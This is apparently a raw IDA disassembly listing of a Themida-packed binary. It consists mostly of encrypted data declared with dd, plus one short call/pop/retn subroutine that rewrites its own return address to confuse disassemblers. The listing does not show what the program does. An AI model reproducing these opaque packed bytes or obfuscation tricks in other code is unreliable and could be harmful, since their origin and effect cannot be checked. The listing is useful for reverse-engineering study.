		dd 0D0561F3Dh, 26F036h,	0D990B3B6h, 0CF79A74Dh,	0B60026CBh
		dd 951A9EB9h, 9071BEF7h, 382h, 2BF3E06Ah, 9D53FE63h, 0B5E7101Bh
		dd 38123AEFh, 0F3EC104Dh, 0A4AB5D7h, 1F38B600h,	0B3721192h
		dd 7F36529Fh, 17001986h, 0BE7F198Ah, 0B5FAD39Ah, 9C0148ECh
		dd 79F8B916h, 9CE0413Ah, 9D4D476h, 85AEB600h, 9B209413h
		dd 619BC16Fh, 0B6000A29h, 7126D11Bh, 80B6F154h,	98C70197h
		dd 6ABCA862h, 94BA25C1h, 0DD5B4CD1h, 3A60D477h,	0AD766408h
		dd 0B7534C76h, 50A3EA15h, 3456FCC3h, 0C350A3F4h, 92A9E4C6h
		dd 0FE009F71h, 0F33DC355h, 75A142B1h, 862B04D8h, 0EC317C1Dh
		dd 0D65B1E33h, 4BEC214Dh, 0F0802D06h, 14BB3AFBh, 45F7F6BFh
		dd 4FBEC8FEh, 35C9F842h, 14668C1Ah, 573B893Bh, 0EDB2E6E0h
		dd 4C9A074Eh, 268BCE63h, 59FCA3F5h, 0C66C8A10h,	0F80D8484h
		dd 43D57EC9h, 0CF6350C4h, 0D67C258Ah, 241D0E93h, 0CB719F4Bh
		dd 0B65BC881h, 17BF0920h, 0C9F7E413h, 0E7AECEF1h, 208861BAh
		dd 0A002B726h, 7DA28DD0h, 0A002B9FDh, 8944EAD0h, 60CDA6EFh
		dd 315E93BFh, 5FE2F74h,	2283E898h, 0FDA60D93h, 622F50B3h
		dd 0FE766236h, 40913397h, 0AA000000h, 0F53830BAh, 0E7BB5826h
		dd 1C46F6B1h, 2912B264h, 2BDFC8C5h, 567E91h, 46EB44B6h
		dd 568084h, 0DDC61CB6h,	7EAFF4B1h, 0D2E0413Ah, 1477A9E6h
		dd 2FFBAF29h, 4BFDAC7Bh, 0B12FEDh, 0FFF00000h, 1788155Ch
		dd 2DF63B76h, 49DA470Eh, 3547632Ah, 51A572B5h, 0C248E06Ah
		dd 5887E738h, 0D099BCAFh, 34AE94Ah, 4BF1D9Eh, 1550FDE6h
		dd 0BC2F5983h, 86B60097h, 0EAE19ADh, 0C2F711B5h, 0A4BCAB39h
		dd 0F253163Bh, 6E90185Dh, 9DBE21C5h, 48E94AD0h,	734CE305h
		dd 6142EC7Fh, 1B5E0h, 0F1B8DF00h, 20650AB5h, 561F399Ah
		dd 86C36FD0h, 0B3FE9F00h, 49C9E877h, 7E216528h,	0AA1591DCh
		dd 0DC47C38Ah, 32AAF0B9h, 0F99A9E28h, 2268B605h, 7730BA05h
		dd 524E70Ch, 99BA65B3h,	2EA856D4h, 784EFA10h, 0E910779h
		dd 1F80266Fh, 0BCED327Fh, 0E7A9967Ch, 0AED80EB5h, 0B600054Fh
		dd 6AEC1A35h, 471E7C60h, 0E142D6BCh, 311D19h, 0ADE886B6h
		dd 0B2FF9F00h, 0A90AA16Dh, 842D862Ah, 778C9A76h, 0BD7D14h
		dd 0FFC60000h, 1788155Ch, 74F63B76h, 0AF57DC1Bh, 13C58BCDh
		dd 4678ECB5h, 58740404h, 7C55FEAFh, 99D0733Ch, 0CA83A20Dh
		dd 0DC95B31Ch, 8E2EEF5Ch, 387117F8h, 58749A9Eh,	0D6CF68AFh
		dd 84639630h, 0F621B600h, 0DD004AB0h, 6879DFCh,	0A68517F7h
		dd 77D782Ch, 95A61691h,	2475BAF3h, 8E719F4Bh, 2E43A4E1h
		dd 0AF3BCD6Bh, 95BCAB0Eh, 82A30CBAh, 90B81BCFh,	4AF55FD9h
		dd 0A5446429h, 0EFEC7F9Dh, 0AC73CCh, 0B3D60000h, 6E03ACFAh
		dd 14349F2Bh, 0C866C95Dh, 0F596398Dh, 0D4E562B8h, 0CA501D3Eh
		dd 684C969h, 70B6FF9Dh,	0A1E5ACCFh, 0A5E527C5h,	9FB605FAh
		dd 5EFFF259h, 92C9713h,	0FFDDFA40h, 1788155Ch, 5EE93D74h
		dd 6703A4FEh, 532FC473h
		dd 261F56F2h, 0D1204680h, 49E2B606h, 0D9183BE4h, 91DC7EBFh
		dd 0FD221B0Ch, 50193BACh, 0DD802367h, 5A33761Ch, 185915D5h
		dd 8378D6E8h, 31781B22h, 0A7E10FF5h, 0D6E81863h, 95D07E21h
		dd 90B37CBCh, 0A7CB54D9h, 11BABDE2h, 0A3EA8990h, 0D099BC67h
		dd 61A9A02Ah, 87DAF8A9h, 3D1B211h, 0F4000000h, 58FFCBB0h
		dd 70138C11h, 92BF439h,	2042E340h, 3E5FC06Dh, 0D4752E73h
		dd 0E78B1499h, 84A47DA2h, 92BF60CDh, 56FA4AD7h,	0C681E689h
		dd 4, 5604EE83h, 42474FFh, 24048F5Eh, 0E089505Ch, 405h
		dd 42D00h, 4870000h, 4895C24h, 59356824h, 1C890000h, 4EC8324h
		dd 0BD242C89h, 6AE1405h, 685DE889h, 2BCEh, 81242489h, 42404h
		dd 565B0000h, 73895E50h, 34FF5E08h, 0C4835B24h,	2434FF04h
		dd 4C48358h, 0FA595DE9h, 9FEE9BFFh, 0A7CBA145h,	0FAB84647h
		dd 306AE23h, 0BFE0FFC5h, 1279459h, 0FF6A7117h, 5B2A8463h
		dd 0FE5DE48Dh, 4161D694h, 3171D532h, 745A086Dh,	0A8476D58h
		dd 894DF4BDh, 7F0F5EB8h, 4250D14Bh, 9E292B14h, 778E121h
		dd 3E758254h, 0AF6B6AD0h, 0FF63B59Ch, 39035319h, 557548EFh
		dd 0D2132E11h, 0F470D6CAh, 4245489Bh, 357D50D7h, 7056E58Ah
		dd 5A64DEC8h, 5F59D9D3h, 0E96F3E58h, 0Fh, 7A2D6448h, 2 dup(0)
		dd 0E9000000h, 588h, 92286108h,	0CD591C31h, 3B8FC662h
		dd 6BBFFA98h, 5CEAA7C8h, 0CF70A2D7h, 0FB9B0482h, 0ADCF70B6h
		dd 5EFDA6E4h, 0D10B9317h, 5FB73B7h, 2C0B51B6h, 0E38B30BAh
		dd 8235F3CBh, 0A3EA8916h, 57FB9C07h, 0C06742F7h, 32665F6Bh
		dd 0E2AFD051h, 1158FBA4h, 0CF6D568Ch, 0EA881986h, 302902AFh
		dd 5D1437F8h, 67224FD0h, 0A7E32543h, 9DAF5882h,	1C8566B2h
		dd 39EA377Ah, 0B7C9561Fh, 0C66C733Ch, 140D1E83h, 848B1481h
		dd 0B112A8E1h, 0B5F51793h, 0EEAF5882h, 6AC50540h, 0EA8A3571h
		dd 85A57EA3h, 97B112C8h, 66E95ADEh, 0BFDDE44Dh,	6C0FB0F6h
		dd 701E8125h, 0C600E335h, 0AF5882BFh, 0A00D44E4h, 0FC9E53FFh
		dd 255BD8B1h, 5B7E54Eh,	83E757Ch, 0D6AE4DDh, 0D8BA96A4h
		dd 575D12DFh, 0E6000000h, 88155CFFh, 57D7484Eh,	773A5BAFh
		dd 92DB792Ah, 0B486FD0Dh, 2A778BF4h, 291128Bh, 0B0C26348h
		dd 12DF49C4h, 123h, 52FF0400h, 6E10F317h, 0BADFE23h, 2F6A0798h
		dd 850D2182h, 57D74743h, 39123DAFh, 3AC19F4h, 0F41257FCh
		dd 0F4246D0Bh, 0CF86A50Eh, 5EFF5C7Bh, 78158E13h, 8431F03Dh
		dd 3E73141Bh, 6D2447E8h, 95053FB9h, 0B3002475h,	6C63EE3Bh
		dd 0DD5B3CBCh, 0DA93B56Eh, 0E5ACCC55h, 0A47E7B8h, 0D45DCEA5h
		dd 0AF70DB45h, 0DF0E47A3h, 6F4612h, 0FFD90000h,	508E135Eh
		dd 1E83CE6Fh, 6404AB0Dh, 0C92D802Dh, 0D72119A3h, 0C0E3AF57h
		dd 0BEFAD39Eh, 34555CC5h, 0E1822D79h, 0F09E07ACh, 91B768B5h
		dd 0AACA5BD8h, 0A10ABEE3h, 442F7100h, 0A2E91DBh, 98C8DAA2h
		dd 0D8B15322h, 1718C450h, 5A3F12DFh, 0
		dd 0F69B5EFFh, 0D6CCCC7Eh, 9DB6AF57h, 352E7FA4h, 5C1537E8h
		dd 69CAA1D7h, 3E8CC162h, 1752FF11h, 0EB6310F3h,	57D75951h
		dd 17002BAFh, 0DDD82281h, 0C6AF57D6h, 0DB44E9A4h, 0C4AFF4BDh
		dd 0ABC7CE57h, 7E7DF5EEh, 0FA61EBB5h, 4F8378EBh, 26128612h
		dd 0C112DF11h, 1, 0DD59FF5Ah, 57D76FABh, 1FA55AFh, 2960039Ch
		dd 0C7684584h, 0ED2D5F85h, 0D7AF57D6h, 0D5733C7Ch, 1FBD0E9Ch
		dd 65C406A4h, 5FB5FFE3h, 50B3AFF4h, 6B34642Dh, 7A6581C8h
		dd 0BC0692DBh, 8D397013h, 9F4B0222h, 0FFE32D6Dh, 0FC3C17B5h
		dd 0E2C9CF0Fh, 0BE35B5FFh, 8E4FEEF5h, 79CDA6EFh, 0B1FEB7D6h
		dd 0E6044DF0h, 0E30A0EB8h, 5FF8B5FFh, 7FA76AD9h, 79BFF294h
		dd 7B1A2182h, 0C06E9432h, 0FFE38286h, 2FD740B5h, 0B5FFE2EBh
		dd 600D7ED9h, 0AD09F325h, 1477DAB1h, 16754h, 0A3C52E00h
		dd 0E7654EEAh, 0AED80EB5h, 0B6000723h, 0BDC5D7E1h, 7DF78B5h
		dd 0F97279CFh, 120BF66Ch, 0C16E518Dh, 0AA0E1F84h, 8BA76605h
		dd 0AB51D5CEh, 0D691A821h, 296FD07h, 6AB7FE9Dh,	37D39AB9h
		dd 0F03B7F89h, 2E09B5FFh, 3D96198Ah, 87CE6D74h,	0CFBFAB03h
		dd 565E1477h, 0E1000000h, 0AFEAB6E7h, 0F39BAFD5h, 63A5413Ah
		dd 2F57FA07h, 0F4B9DAFDh, 5454961Bh, 4F2F57FAh,	68396623h
		dd 0DE218ECBh, 26602CF5h, 2F57F9E2h, 389E77A0h,	3E7711F2h
		dd 81A001FAh, 0D7719510h, 0AF57F9B3h, 0FA60A691h, 0EF347919h
		dd 0D4591436h, 0C14EEAC3h, 0B8h, 0EA1CBAE4h, 0AF57D6AEh
		dd 0AA7DBB94h, 0CECA7C0Ah, 0B4AF57D6h, 9B04A29Bh, 0F278B0F9h
		dd 8C96B54h, 0D2332C65h, 66B7FCB1h, 0A593432h, 2BB600h
		dd 2A6302A3h, 0AC697AFCh, 596D19E9h, 5A944B05h,	0FB3D879Eh
		dd 3B4DEB11h, 0B60065FFh, 2565A7C5h, 1FB60066h,	52DD5B34h
		dd 35357A33h, 0B60066F0h, 0C7CE575Ch, 0CB1A0CA4h, 8FACF058h
		dd 0EE8F7096h, 3C8F75A3h, 1C872398h, 0BCED3277h, 3354F67Ch
		dd 35BCAE65h, 9D2FABCAh, 0BCAE659Dh, 45D3CC67h,	921390BBh
		dd 0CA0CBAF3h, 0A0298629h, 0AF93FA7h, 2645EEC7h, 6F994DF6h
		dd 0C35C6B0Ah, 0F8B1D7F8h, 144EABBh, 0CCEB3F28h, 0D80EB5E7h
		dd 901D54F7h, 0ADCB1187h, 7B72FB2Bh, 3BEF8F50h,	585E8981h
		dd 58D07BAFh, 683698Eh,	0F3947FB6h, 82D1C973h, 98B3B606h
		dd 511C3EAFh, 0B35DDBCCh, 82F73355h, 83CDB606h,	0FFB461C6h
		dd 0CCA59EE9h, 0D69FBE67h, 54CEF50h, 520E5E98h,	47A73289h
		dd 2771385Ch, 0B9DCE34Ch, 3575973Dh, 0F328952h,	529E9A24h
		dd 0CB643289h, 48EB54D2h, 0CDA6EF89h, 0D693BF60h, 842D8649h
		dd 7D1FDE7Dh, 64CF5B34h, 5A2B88C1h, 11h, 0C230BA7Dh, 0F3BAD9DEh
		dd 64657DAEh, 0B5A5F3ACh, 1158FFCEh, 3970138Ch,	40092BF4h
		dd 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h,	0CD84A47Dh
		dd 0D792BF60h, 3B68FA4Ah, 89000049h, 8956241Ch,	4C681E6h
		dd 81000000h, 4EEh, 24348700h, 2404895Ch, 81E38953h, 4C3h
		dd 4EB8300h, 5C241C87h,	56241C89h, 223903BEh, 0D6EE813Eh
		dd 8169522Ah, 2E326DF6h, 0F9C6811Ah, 8168A86Ah,	0F88242EEh
		dd 8BF08930h, 0C4812434h, 4, 241C8B54h,	4C481h,	50560000h
		dd 0CE242C81h, 5E3D4842h, 42CEC681h, 73893D48h,	1C8B5E08h
		dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 5724048Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 43E95C24h,	0D7FFFA53h
		dd 0AE29D5B8h, 0FFC50306h, 182294E0h, 56A7D22Ch, 11127D3Ah
		dd 0EA6CFC15h, 0C51DB062h, 664B0274h, 0F5CD325Dh, 3FC6494Eh
		dd 8A1C6854h, 80DCAD68h, 0E03D1D62h, 0C4A8D875h, 8F4B8A09h
		dd 2A72E521h, 8A64AC1Ah, 39863B0Fh, 0C7131936h,	2430D44Bh
		dd 0D7AA9F14h, 5D9D2B68h, 5911CB17h, 0DFEB5109h, 0F0DE520Eh
		dd 4F25CA0Bh, 5B590E47h, 49E44735h, 0A98D8D66h,	8006AE2Bh
		dd 9D89D5DBh, 6A825EDh,	5B98D89h, 6A06A8h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 1CB6B0C3h
		dd 8B66E4F5h, 0C1BD29C6h, 8106A82Dh, 458585DFh,	6985C764h
		dd 0D806A814h, 6A000064h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 2569C351h, 85C7A93Fh
		dd 6A80BBDh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5AC57F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AC57F	proc near		; CODE XREF: Themida_:005AC577p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5AC57F	endp

; ---------------------------------------------------------------------------
		db 0CDh
		dd 7612DD7Dh, 0FDB5FFF9h, 0B306A805h, 0DD95FF3Bh, 0E906A820h
		dd 7, 0C63B633Dh, 6A9FF97Fh, 3195FF00h,	8B06A81Bh, 7AEBC0h
		dd 0A70EEAA6h, 0AABD9910h, 85CFA91Ch, 0BC3D95FAh, 0AD4BB669h
		dd 2B79E2AEh, 1E3DEF5Dh, 7FA9ECDAh, 62A4F9A2h, 0AA478B38h
		dd 0AB5AD43Eh, 66E6DF4Ah, 0B5F43B99h, 0DD01ADC4h, 2A9E2F4Eh
		dd 0EE264AA0h, 1942B0BCh, 0EC8CDCEDh, 0C776B29Bh, 0D42F64DDh
		dd 0C60F3AC5h, 0BD6084DBh, 41575E6Bh, 815138C8h, 839B0BABh
		dd 4DFA0D45h, 63873B82h, 0AE41C505h, 5920918Eh,	990DAA14h
		dd 189E990h, 9E2D0000h,	2C2736BCh, 98D31AD5h, 0D1D746B1h
		dd 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h,	92A59EB9h
		dd 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh
		dd 0EE73AFC9h, 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh
		dd 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh
		dd 6CA1915Ch, 0ACE5h, 1, 42h dup(0)
		dd 97000000h, 33A26D84h, 0EE69F0h, 2 dup(0)
		dd 0E9000000h, 0F87h, 0AE2F5F68h, 1886E906h, 7F68FFFBh
		dd 0E906AE30h, 0FFFB187Ch, 0AE31F468h, 1872E906h, 0D768FFFBh
		dd 0E906AE32h, 0FFFB1868h, 0AE33CF68h, 185EE906h, 0CA68FFFBh
		dd 0E906AE34h, 0FFFB1854h, 0AE358268h, 184AE906h, 0DD68FFFBh
		dd 0E906AE35h, 0FFFB1840h, 0AE36E768h, 1836E906h, 6468FFFBh
		dd 0E906AE37h, 0FFFB182Ch, 0AE383E68h, 1822E906h, 0E168FFFBh
		dd 0E906AE38h, 0FFFB1818h, 0AE397268h, 180EE906h, 0AB68FFFBh
		dd 0E906AE3Ah, 0FFFB1804h, 0AE3B8768h, 17FAE906h, 0E383FFFBh
		dd 54067419h, 0D68D01A2h, 4C35892Ah, 0C3BF13B0h, 7DF19439h
		dd 7E1FE59Dh, 0FAC5208h, 9536C2BBh, 2142B621h, 12BADCE3h
		dd 5F580FD0h, 0B9D2FFD2h, 104BD94Dh, 1BC4C7E4h,	7346A859h
		dd 3C5BF9F3h, 0A7215CE5h, 571A1CE8h, 0AB426E9h,	0A7F6DBE6h
		dd 0FD13BC5Ch, 561E37DBh, 3CC3h, 9D7B8200h, 9ADCEBFh, 0E50C1F9Eh
		dd 6181BEFCh, 5BF9E258h, 89053A65h, 0FB6B2ADEh,	0F62CA9C9h
		dd 95F013A7h, 0A636887h, 4E8D2CFEh, 0AA6D0CBAh,	0FD1BF5DAh
		dd 0E1561E1Ch, 0BBh, 4DB9D24Eh,	0E51F4BD9h, 7C88E331h
		dd 9B6F18AEh, 0F91AE8FAh, 83F45EA1h, 77605677h,	4DAA1383h
		dd 0E9C6A1Ch, 0F637C8ABh, 149B68Fh, 6FF3ED20h, 0A15E01C7h
		dd 6F901392h, 602560Fh,	0A3C063A4h, 84BDFF18h, 0AFA86262h
		dd 0FAE72FA2h, 0AB9E3658h, 48DBAC0Ch, 15F435E9h, 5EFAE6ECh
		dd 0CAB903Ch, 0E342DDACh, 6E94CCC2h, 8E2E178Ch,	0A825B73Fh
		dd 0D1Ch, 8A2BD18Dh, 17B44234h,	9B38C4A3h, 2546BA27h, 0B2D32951h
		dd 0CFBB630Bh, 44229035h, 30A519BAh, 0B8D3A7C4h, 0D2152F4Ch
		dd 0FD104B0h, 0E9D85158h, 8C78139Fh, 3BC1B90Dh,	47B3249Ah
		dd 81E61D26h, 522636F9h, 0E54756D9h, 7A81BEFCh,	50C4EB97h
		dd 0DB24E70Bh, 0F9337EBBh, 2B84435Bh, 7B359CABh, 88063B9Ah
		dd 367B2BDFh, 961CE777h, 519110EAh, 0A7F98021h,	0D737789Bh
		dd 0A7F980BFh, 98E8ABFAh, 8CBFD937h, 0CEAF561Fh, 70000000h
		dd 0B44DB9D2h, 6F11D849h, 11908D63h, 0F7530F9Dh, 3854B6h
		dd 2A755EA1h, 0A1009834h, 0EB4AD55Eh, 73B893Bh,	0A2D55EA1h
		dd 668A956h, 5EA104EEh,	0D4B978ABh, 0AD01F5E6h,	0ED9ECF28h
		dd 45248519h, 0A44B36BCh, 0D257C733h, 0BF7EA373h, 7452042h
		dd 0D3145BF9h, 0F90C1BB3h, 0A9DC56A7h, 8968C95Dh, 6B089B06h
		dd 7C85C720h, 0CB3DB3Bh, 0A7FEA7F9h, 0CCFB1BE4h, 0B1A2A086h
		dd 0A5DDD16Eh, 0E54D723Bh, 0C6A9B65Eh, 53A9D1A5h, 8D343EF3h
		dd 1578EA3Fh, 0BFCh, 0AACB31ADh, 3754A2D4h, 0BBD82443h
		dd 45669AC7h, 0D2F30971h, 2F5B432Bh, 0A4C2B0D5h, 1045395Ah
		dd 98F3C7E4h, 0F2354F6Ch, 0FCE6490h, 0C9F83158h, 2F4CB6D2h
		dd 0B7D4205Bh, 29B9D260h, 34A32914h, 748AF0C5h,	0D2603295h
		dd 73B44DB9h, 0A1E8FB13h, 0A88EEE5Eh, 0E8ADDD5h, 0EC911093h
		dd 3A5C40A9h, 5EA18F92h, 5CE544DFh, 1CB8DA1Bh, 765EA18Fh
		dd 0F332F105h, 0A0DFEE30h, 79A85BF9h, 23545AA5h, 23E247D7h
		dd 0F9C053FFh, 0B24631A7h, 0C93552E0h, 0F9D6BA55h, 0B916BAD0h
		dd 1F4D3157h, 553D56h, 9F020000h, 748D7713h, 0A1FEFA12h
		dd 0AD6CB75Eh, 7E83C12Eh, 3375007h, 5DDCEAEFh, 0A0B742A4h
		dd 0A9F85BFAh, 60A7CBF5h, 7D1DA7F9h, 0B09ABC52h, 2084561Fh
		dd 0AD000000h, 81BEFCE5h, 0FA07E061h, 0C052CD5Bh, 0F609F21Eh
		dd 78848A7h, 1F05CFE9h,	7DF56h,	0ED600000h, 827h, 0BEFCE502h
		dd 0E3936181h, 83225BFBh, 0F307707Eh, 473DB1D2h, 1344F6B9h
		dd 29D637E7h, 2DB4D66Bh, 86A2AA30h, 0F5A9550Ch,	61C034A7h
		dd 5816BEA0h, 0C063AC02h, 139FA061h, 0BB0B8A76h, 0A3F350C0h
		dd 0B5946624h, 41D62DD2h, 5C65D62Bh, 403657D6h,	0CA33E317h
		dd 91D26F2Dh, 2B0C571h,	3ACEBFACh, 0CB5AC968h, 0E57B748h
		dd 0ABA95AB6h, 4F319A78h, 4BD926D8h, 0A87CAh, 44BE2600h
		dd 0CF395327h, 5FA3D8AEh, 0ED11483Eh, 748EFAC8h, 0DEC0B457h
		dd 473B58A2h, 0F0C6E719h, 7E4C7185h, 0A8D4F90Dh, 0CFEF0767h
		dd 6DAA580Fh, 0FF12BE32h, 9A475EA1h, 39C727D8h,	16A4041Dh
		dd 2C19B5D5h, 0CD54A7F0h, 2F4CD74Ah, 1AE09816h,	0E3662988h
		dd 5BBB4406h, 0A2AA30ADh, 62709110h, 0EAD8FD09h, 0F6FC05F1h
		dd 26B4778Bh, 711C3AA7h, 6D762282h, 4D2CD6B2h, 0A43555EAh
		dd 9A9584Dh, 72656996h,	0C757986h, 3CFF22F0h, 0DA706B5Fh
		dd 547C1CB8h, 0A3D559B5h, 8313F255h, 547C3361h,	0BFDFE035h
		dd 35547C17h, 38EA164Dh, 38FB2AF9h, 530554BDh, 89D4F1A5h
		dd 0FA911A2Ch, 1F208362h, 0C4722FFh, 7B616D30h,	8210EA96h
		dd 4BEEBC1Fh, 0A2D955C8h, 8A6DCC5Eh, 6EE85528h,	0D223B1A8h
		dd 9A4h, 2A35905h, 8F2CDA8Ch, 13B04C3Bh, 9D3EC2BFh, 2A4BB129h
		dd 5733EB83h, 0CCBA08ADh, 483D9132h, 30AB1FBCh,	5A9DA7C4h
		dd 0FCC9C38h, 6150D958h, 8E7A139Fh, 9F1A9D1Ch, 830F3072h
		dd 67981BE5h, 0FBE27907h, 54ED345Bh, 2D5BF313h,	8F16A7F0h
		dd 8CFFF30Ch, 91CBC778h, 0F3C7A467h, 5FBE6C98h,	2F4FF0B2h
		dd 0A2AA311Dh, 8A083968h, 0B68141D1h, 45799236h, 9ACDC1E2h
		dd 56A6CE30h, 0B0F3AC02h, 0C825DD1h, 0BAFFAF5Bh, 0D1937CFBh
		dd 4A43CE30h, 0D54CA958h, 0C135A62Ch, 49BD2E9Ch, 85872BD5h
		dd 35D2B554h, 0DEA8CA77h, 0FDB00E99h, 2F0BB886h, 0C649239Ah
		dd 0BB37C85Bh, 44B827C0h, 0D3F053D6h, 0AB174BB2h, 972B1AA0h
		dd 0E684DF77h, 0A80B9ABBh, 0D62255E9h, 5A18C144h, 98B745A5h
		dd 0A7FEBEBCh, 2B6996F7h, 4D4DF416h, 0FF268563h, 0D23AA81Fh
		dd 6BEA781Ah, 8ACh, 0FA9B611Dh,	8724D284h, 0BA85433h, 9536CAB7h
		dd 2243B921h, 5F0BF37Bh, 0D4B200A5h, 4035892Ah,	0C8A317B4h
		dd 22659F3Ch, 0FCD94C0h, 79A8E158h, 0D94DB9D2h,	9A5C506h
		dd 445EA1FEh, 0FFE85ADDh, 80FB6318h, 54673BE2h,	0A072D5B4h
		dd 198D7912h, 7727D18Bh, 831B4032h, 0B449DBFEh,	16846724h
		dd 48612E26h, 102A653Bh, 48F29367h, 5CC7352Eh, 1030h, 0E794EF00h
		dd 25E2B007h, 0ED7F6E31h, 4BEh,	2AE0D02h, 7D99F9E5h, 385EA1FEh
		dd 0F5F906E9h, 1A0728Eh, 0A42141BEh, 0F35BF9EAh, 0BB473CB2h
		dd 7C9846EBh, 39A7F614h, 69B827E6h, 56A0DAD8h, 0E49165C4h
		dd 76689110h, 0C8C0450Ch, 0B54A08F1h, 0B61CA855h, 89A057Dh
		dd 1926648Dh, 532EA8F9h, 0E51A8544h, 0DA086D9Eh, 65240BCBh
		dd 26575B9Ch, 5EE140D2h, 6E0FFBECh, 3B9B6F18h, 0D5DB6ABEh
		dd 0B185089Ah, 18000007h, 89FD9E64h, 368429DFh,	0A210B549h
		dd 249A3BC7h, 862546BCh, 0AE540CEEh, 3DC3B90Dh,	47B32A98h
		dd 0D3275026h, 2D4D92B2h, 580FCA81h, 0D26C43CCh, 4BD94DB9h
		dd 0BFC0E51Fh, 0FEF01C7Eh, 62BD5EA1h, 0F9BB24A3h, 0E2622648h
		dd 902F5BFBh, 45BB85F0h, 6AD5F6C9h, 6FD6BC62h, 9E142D8Ch
		dd 699619EDh, 79867265h, 0DAB54D02h, 9BB2EE05h,	2E2124E9h
		dd 0DDBE019Eh, 980AFEE9h, 2EE93C47h, 0DBE4085Ah, 7634DD58h
		dd 0BC7D88C9h, 792F2B74h, 0F3855DDCh, 0C2A2AA89h, 0A7D0DE63h
		dd 0D6DAE53h, 0AC02C1E1h, 0D1B275ACh, 0AC7E8AFDh, 3A98621Eh
		dd 3F8045A9h, 0F9A21381h, 50000006h, 0C1B5D62Ch, 4E3C6197h
		dd 0FAC8ED11h, 7C52738Fh, 3EDDFE04h, 0E61C4436h, 758BF1C5h
		dd 0FF0B6250h, 0BFFE8DEh, 0F5155A6Ah, 580FCB59h, 0E5A49B14h
		dd 6181BEFCh, 5BFBE2AFh, 747A871Eh, 0E0D6F703h,	2A9303F7h
		dd 10728FCDh, 0A2A8208Dh, 36A7079Eh, 0E23F8ACEh, 69E1D70h
		dd 570F0000h, 0C0BA08ADh, 0BA219536h, 28512546h, 0A7C3B7D4h
		dd 0D99D385Dh, 2243B921h, 0ABC836ACh, 3152A6D7h, 0BDDE2A5Dh
		dd 0F61E4087h, 0C3580FCBh, 0B9D25B76h, 104BD94Dh, 6F2136E4h
		dd 2C5B5720h, 5CDF42D0h, 6E1AFDEEh, 0F6903594h,	5CC712D0h
		dd 0EDEh, 139F6300h, 971A8874h,	2D49914h, 9F960000h, 0A8D7713h
		dd 6B3BCFB8h, 2F5405E2h, 95CD43D3h, 9B7ABF6Fh, 0E140BC2Bh
		dd 0BCDE1F20h, 5EA1FE10h, 9F43C25Dh, 5BFBE3EDh,	0A24D34BAh
		dd 0C8693DC9h, 0F174B569h, 3907D43h, 0D251D02Dh, 616DAE53h
		dd 8F128074h, 0F0883B53h, 6C2F76A7h, 34C0BB0Fh,	52A8D066h
		dd 0AB8D6A31h, 0A0029049h, 8FB013FFh, 0AADC3E6Fh, 1EFC0BA2h
		dd 0D6164925h, 92E916F9h, 5D0B1F9Ch, 0F60B8AE6h, 0C5258FF8h
		dd 0AC0262A9h, 0B9DABDE4h, 0B46692C5h, 12807A66h, 5CA8DDD1h
		dd 0F3B15EDDh, 9B8D2C4Eh, 4FD6A959h, 0D8E9C0EFh, 43B22026h
		dd 594h, 12B34935h, 9F3CCABCh, 2340BC2Bh, 0ADCE32AFh, 3A5BA1D9h
		dd 4723DB93h, 3CAA18BDh, 0B82DA1C2h, 205B2F4Ch,	4A8DB7D4h
		dd 0FC88C28h, 5140C958h, 0D94DB9D2h, 5BE4104Bh,	66882A57h
		dd 5EA1FECEh, 0F6B9188Bh, 4E411764h, 84930374h,	124C37EFh
		dd 0A2E38063h, 0EED50161h, 1A05EA1h, 22BED8BEh,	7A05CC7h
		dd 71000000h, 15DEDh, 0B9D20200h, 7AC8E94Dh, 0AE3CCD23h
		dd 51727h, 34CEB600h, 0BF492397h, 0CF33A81Eh, 5DA1D8AEh
		dd 0E41E4A38h, 0AE5024C7h, 0D7ABC832h, 403657A9h, 0CEBCE115h
		dd 3844699Dh, 0C97F97F7h, 0FD3A580Fh, 4DB9D2C2h, 843049B4h
		dd 0B6396187h, 84CD6989h, 19885EA1h, 0C5B60496h, 0C9BD4922h
		dd 1F8F6E92h, 94F63748h, 5EA18478h, 798FF935h, 46BC2496h
		dd 201AB5C7h, 47BE43B7h, 6EA9923Eh, 8ABF5A0h, 6FCB4020h
		dd 0CE680D8Ch, 5CC723A8h, 0B14530BEh, 0D958A4DDh, 2520h
		dd 0EFE41F00h, 4FB12F08h, 6529B688h, 0B3EDB3A2h, 2000000h
		dd 0ADEDh, 5591EC00h, 338AE2CFh, 5EC135A6h, 0FCE5CCDFh
		dd 0AF6181BEh, 1E5BFBE3h, 0D9397A87h, 0A7F02CBDh, 74E6A9F8h
		dd 95AAE811h, 0A8377475h, 4E639A2h, 3F8AD873h, 3D84099Bh
		dd 0EC000004h, 15690AF0h, 82F09563h, 67419E5h, 0B006A75Bh
		dd 0EA9132C8h, 1AE09882h, 0A15F0579h, 2BDF8EFCh, 0B743348Ah
		dd 49A9EE16h, 580FC62Dh, 9FF02F68h, 0FE903C5Eh,	51DD5EA1h
		dd 0B275D428h, 7788CA37h, 66CEB836h, 0A1FEE804h, 9B7AA55Eh
		dd 4505C618h, 1C965BFAh, 53A9D69h, 8D2ED289h, 0F64E3C55h
		dd 0D92D5EA7h, 7699C6B4h, 9C0EF105h, 3CB31h, 0FCE53E00h
		dd 1E4081BEh, 5EA1FEF6h, 0ED1773C3h, 14768B0Ah,	5BFBE362h
		dd 0FB42D053h, 43A35C1Eh, 0A2A83786h, 0FB3A980Bh, 5F3F8AD8h
		dd 39A40CDh, 53330000h,	0C4B604A9h, 463D9132h, 3CA519BAh
		dd 0B32FA3C0h, 0ED812449h, 0EAF550Dh, 9F3CC2B8h, 2546B22Bh
		dd 0B1D22651h, 822A4C93h, 0CF580FC6h, 0FCE56F42h, 936181BEh
